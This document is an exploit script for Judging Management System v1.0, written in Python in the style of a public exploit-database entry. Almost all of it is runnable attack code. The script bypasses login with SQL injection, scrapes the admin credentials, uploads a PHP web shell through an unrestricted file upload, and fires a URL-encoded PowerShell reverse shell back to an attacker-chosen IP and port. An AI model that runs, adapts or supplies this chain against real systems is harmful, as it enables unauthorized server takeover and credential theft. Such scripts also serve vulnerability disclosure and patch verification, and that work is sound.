# Exploit Title: Judging Management System v1.0 - Remote Code Execution (RCE) # Date: 12/11/2022 # Exploit Author: Angelo Pio Amirante # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html # Version: 1.0 # Tested on: Windows 10 on XAAMP server import requests,argparse,re,time,base64 import urllib.parse from colorama import (Fore as F,Back as B,Style as S) from bs4 import BeautifulSoup BANNER = """ ╔═══════════════════════════════════════════════════════════════════════════════════════════════════════╗ ║ Judging Management System v1.0 - Auth Bypass + Unrestricted File Upload = Remote Code Execution (RCE) ║ ╚═══════════════════════════════════════════════════════════════════════════════════════════════════════╝ """ def argsetup(): desc = S.BRIGHT + 'Judging Management System v1.0 - Remote Code Execution (RCE)' parser = argparse.ArgumentParser(description=desc) parser.add_argument('-t', '--target', help='Target URL, Ex: http://localhost/php-jms', required=True) parser.add_argument('-l', '--listenip', help='Listening address required to receive reverse shell', required=True) parser.add_argument('-lp','--listenport', help='Listening port required to receive reverse shell', required=True) args = parser.parse_args() return args # Performs Auth bypass in order to get the admin cookie def auth_bypass(args): print(F.CYAN+"[+] Login into the application through Auth Bypass vulnerability...") session = requests.Session() loginUrl = f"{args.target}/login.php" username = """' OR 1=1-- -""" password = "randomvalue1234" data = {'username': username, 'password': password} login = session.post(loginUrl,verify=False,data=data) admin_cookie = login.cookies['PHPSESSID'] print(F.GREEN+"[+] Admin cookies obtained !!!") return admin_cookie # Checks if the file has been uploaded to /uploads directory def check_file(args,cookie): uploads_endpoint = f"{args.target}/uploads/" cookies = {'PHPSESSID': f'{cookie}'} req = requests.get(uploads_endpoint,verify=False,cookies=cookies) soup = BeautifulSoup(req.text,features='html.parser') files = soup.find_all("a") for i in range (len(files)): match = re.search(".*-shelljudgesystem\.php",files[i].get('href')) if match: file = files[i].get('href') print(F.CYAN+"[+] The webshell is at the following Url: "+f"{args.target}/uploads/"+file) return file return None def file_upload(args,cookie): now = int(time.time()) endpoint = f"{args.target}/edit_organizer.php" cookies = {'wp-settings-time-1':f"{now}",'PHPSESSID': f'{cookie}'} get_req = requests.get(endpoint,verify=False,cookies=cookies) soup = BeautifulSoup(get_req.text,features='html.parser') username = soup.find("input",{"name":"username"}).get('value') admin_password = soup.find("input",{"id":"password"}).get('value') print(F.GREEN + "[+] Admin username: " + username) print(F.GREEN + "[+] Admin password: " + admin_password) # Multi-part request file_dict = { 'fname':(None,"Random"), 'mname':(None,"Random"), 'lname':(None,"Random"), 'email':(None,"ranom@mail.com"), 'pnum':(None,"014564343"), 'cname':(None,"Random"), 'caddress':(None,"Random"), 'ctelephone':(None,"928928392"), 'cemail':(None,"company@mail.com"), 'cwebsite':(None,"http://company.com"), 'file':("shelljudgesystem.php","<?php system($_REQUEST['cmd']) ?>","application/octet-stream"), 'username':(None,f"{admin_password}"), 'passwordx':(None,f"{admin_password}"), 'password2x':(None,f"{admin_password}"), 'password':(None,f"{admin_password}"), 'update':(None,"") } req = requests.post(endpoint,verify=False,cookies=cookies,files=file_dict) def exploit(args,cookie,file): payload = f"""powershell+-nop+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient('{args.listenip}',{args.listenport})%3b"""+"""$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0){%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()" """ uploads_endpoint = f"{args.target}/uploads/{file}?cmd={payload}" cookies = {'PHPSESSID': f'{cookie}'} print(F.GREEN + "\n[+] Enjoy your reverse shell ") requests.get(uploads_endpoint,verify=False,cookies=cookies) if __name__ == '__main__': print(F.CYAN + BANNER) args = argsetup() cookie=auth_bypass(args=args) file_upload(args=args,cookie=cookie) file_name=check_file(args=args,cookie=cookie) if file_name is not None: exploit(args=args,cookie=cookie,file=file_name) else: print(F.RED + "[!] File not found")